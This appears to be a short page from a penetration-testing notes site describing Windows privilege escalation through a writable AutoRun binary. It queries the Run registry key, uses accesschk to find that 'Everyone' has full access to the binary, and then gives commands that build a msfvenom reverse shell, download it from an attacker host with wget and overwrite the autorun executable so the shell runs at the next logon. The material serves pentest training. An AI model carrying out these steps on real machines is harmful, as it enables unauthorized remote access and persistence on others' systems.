> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/privilege-escalation/registry/autoruns.md).

# AutoRuns

Windows can be set to run scripts and applications on system boot and on logon of a user.

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F2R4X0T12jozUe3Ol18sx%2Fimage.png?alt=media\&token=a232cf1d-d81f-44d3-8f9b-77dd4af0a262)

Above, the binary `program.exe` has been located under the specified registry path. Binaries found in this path are executed every time a user logs into the system. [<mark style="color:red;">\[Source\]</mark>](https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys)

Running `accesschk.exe` against the binary shows that the security group "Everyone" has *FILE\_ALL\_ACCESS* permission to the binary.

```
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FFrkbT5SUMWVJPA8dRRMv%2Fimage.png?alt=media\&token=cde6f92a-fc8f-4541-82b7-0d665ff6e065)

This means the binary can be overwritten by anyone. In this effect, replacing the binary with a reverse shell of the name `program.exe` would mean the next time someone logs in it would be possible to have the shell executed in the context of the logged in user.

```
# Create Reverse Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f exe -o program.exe

# Upload to target system
wget http://<Attacker-IP>/program.exe

# Move to binary folder
move .\program.exe "C:\Program Files\Autorun Program\" /Y

# Wait for user to login
```